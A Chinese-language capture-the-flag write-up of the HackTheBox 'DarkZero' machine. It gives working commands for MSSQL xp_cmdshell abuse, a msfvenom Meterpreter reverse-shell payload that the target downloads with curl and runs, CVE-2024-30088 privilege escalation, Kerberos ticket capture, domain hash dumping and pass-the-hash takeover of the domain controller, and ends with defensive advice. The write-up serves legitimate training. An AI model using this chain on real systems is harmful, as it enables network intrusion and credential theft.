1. 靶机渗透测试实战:从信息收集到域控提权
作为一名长期活跃在网络安全领域的从业者,我最近在HackTheBox平台上遇到了一个名为DarkZero的靶机。这个靶机模拟了企业内网环境,涉及Windows域控和多种服务,非常适合用来练习内网渗透技巧。下面我将详细记录整个渗透过程,包括信息收集、边界突破、权限提升和横向移动等关键环节。
2. 环境准备与信息收集
2.1 初始连接与目标确认
首先连接到HTB网络并启动靶机,获得以下关键信息:
code复制靶机IP:10.10.11.89
分配IP:10.10.16.29
已有凭据:
账户:john.w
密码:RFulUtONCOL!
这些初始凭据将成为我们渗透测试的起点。在实际环境中,这类凭据可能来自钓鱼攻击、密码泄露或弱密码爆破。
2.2 端口扫描与服务识别
使用RustScan进行快速TCP端口扫描:
bash复制rustscan -a 10.10.11.89 | grep -E '^[0-9]' | tee ports_scan_res.txt
扫描结果显示开放了以下重要端口:
- 53:DNS服务
- 88:Kerberos认证
- 389:LDAP目录服务
- 445:SMB文件共享
- 1433:Microsoft SQL Server
- 5985:WinRM远程管理
接着使用nmap进行更详细的版本和服务探测:
bash复制ports=$(cut -d'/' -f1 ports_res.txt | paste -sd,)
nmap -sT -p$ports -sCV -Pn 10.10.11.89
UDP扫描发现了开放的53(DNS)和123(NTP)端口,这对后续的域环境探测很有帮助。
2.3 初始凭据验证
使用nxc工具验证提供的凭据是否能用于MSSQL登录:
bash复制nxc mssql DC01.darkzero.htb -u 'john.w' -p 'RFulUtONCOL!'
结果显示成功认证,确认这是一个有效的域账户,且目标是一个域控制器(DC01)。
3. 边界突破:利用SQL Server获取初始立足点
3.1 连接MSSQL服务
使用impacket工具集的mssqlclient.py连接SQL Server:
bash复制impacket-mssqlclient 'darkzero.htb'/'john.w':'RFulUtONCOL!'@'DC01.darkzero.htb' -windows-auth
成功连接后,首先检查当前权限:
sql复制SELECT IS_SRVROLEMEMBER('sysadmin')
确认当前用户具有sysadmin权限,这为我们后续操作提供了很大便利。
3.2 启用xp_cmdshell
作为sysadmin,我们可以启用xp_cmdshell来执行系统命令:
sql复制EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
验证命令执行:
sql复制xp_cmdshell "whoami"
返回结果为darkzero\john.w,确认命令执行成功。
3.3 获取反向Shell
在攻击机上生成Meterpreter payload:
bash复制msfvenom -a x64 -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.16.34 LPORT=1425 -f exe -o msf.exe
启动Python HTTP服务供靶机下载:
bash复制python -m http.server 8888
通过SQL命令让靶机下载并执行payload:
sql复制xp_cmdshell "curl http://10.10.16.34:8888/msf.exe -o C:\Windows\Temp\msf.exe"
xp_cmdshell "C:\Windows\Temp\msf.exe"
在攻击机设置监听后成功获得Meterpreter会话,当前用户为darkzero-ext\svc_sql。
4. 权限提升与横向移动
4.1 本地提权
在Meterpreter中运行本地提权检测:
bash复制run post/multi/recon/local_exploit_suggester
发现系统存在CVE-2024-30088漏洞,使用对应模块成功提权至SYSTEM:
bash复制use exploit/windows/local/cve_2024_30088_authz_basep
set SESSION 1
run
4.2 捕获Kerberos票据
上传Rubeus工具并监控TGT票据:
bash复制upload /usr/share/windows-resources/Rubeus/Rubeus.exe C:\\Windows\\Temp\\
shell
cd C:\Windows\Temp
.\Rubeus.exe monitor /interval:1 /nowrap
在另一个SQL会话中触发Kerberos认证:
sql复制xp_dirtree "\\DC02.darkzero.ext\x0da6h"
成功捕获到DC01$的TGT票据,可用于后续的黄金票据攻击。
4.3 转储域哈希
使用impacket-secretsdump转储域控上的哈希:
bash复制export KRB5CCNAME=$(pwd)/ticket.ccache
ntpdate DC01.darkzero.htb
impacket-secretsdump -k -no-pass 'darkzero.htb'/'DC01$'@'DC01.darkzero.htb'
获取到了包括Administrator在内的所有域账户哈希,特别是krbtgt账户的哈希对制作黄金票据至关重要。
4.4 域控接管
使用获取的Administrator哈希通过psexec登录域控:
bash复制impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726 Administrator@DC01.darkzero.htb
成功获得域控的SYSTEM权限,可以查看域控桌面上的flag文件:
code复制type C:\Users\Administrator\Desktop\root.txt
5. 技术要点与防御建议
5.1 攻击路径总结
- 初始凭据泄露导致SQL Server被入侵
- sysadmin权限滥用启用xp_cmdshell
- 通过SQL Server服务账户进行横向移动
- Kerberos票据中继攻击获取域控权限
- 哈希转储导致整个域沦陷
5.2 防御措施建议
- 最小权限原则:不应将普通域用户赋予SQL Server的sysadmin角色
- 禁用危险存储过程:如xp_cmdshell应默认禁用并严格审计使用
- 网络分段:关键服务器如域控应限制访问来源
- 监控异常行为:如异常的Kerberos请求、哈希转储行为
- 定期更新补丁:及时修复如CVE-2024-30088这类提权漏洞
在实际渗透测试中,这种从初始访问到完全控制域控的路径很常见。防御方需要建立纵深防御体系,因为一旦攻击者获得域管理员权限,整个网络就基本沦陷了。